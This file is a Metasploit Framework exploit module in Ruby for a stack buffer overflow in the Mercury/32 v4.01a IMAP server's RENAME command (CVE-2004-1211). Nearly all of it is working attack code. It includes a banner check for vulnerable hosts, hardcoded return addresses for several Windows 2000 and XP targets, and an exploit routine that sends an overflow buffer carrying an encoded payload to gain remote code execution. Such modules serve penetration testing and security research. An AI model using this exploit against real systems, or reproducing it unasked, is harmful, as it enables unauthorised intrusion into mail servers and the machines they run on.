##
# $Id: mercury_rename.rb 4571 2007-03-25 23:35:45Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'

module Msf

class Exploits::Windows::Imap::MercuryIMAPRenameOverflow < Msf::Exploit::Remote

	include Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow vulnerability in the
			Mercury/32 v.4.01a IMAP service.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 4571 $',
			'References'     =>
				[
					[ 'CVE', '2004-1211'],
					[ 'BID', '11775'],
					[ 'NSS', '15867'],
					[ 'MIL', '98'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows 2000 SP4 English',   { 'Ret' => 0x7c2f8498 }],
					['Windows 2000 SP4 English',   { 'Ret' => 0x7846107b }],
					['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],
					['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],
				],
			'DisclosureDate' => 'Nov 29 2004'))
	end

	def check
		connect
		disconnect
		
		if (banner and banner =~ /Mercury\/32 v4\.01a/)
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		connect_login
		
		buf = Pex::Text.rand_text_alpha_upper(260, payload_badchars)
		req = "a001 RENAME " + buf + [target.ret].pack('V') + payload.encoded + "\r\n"
		sock.put(req)
		
		handler
		disconnect
	end

end
end	
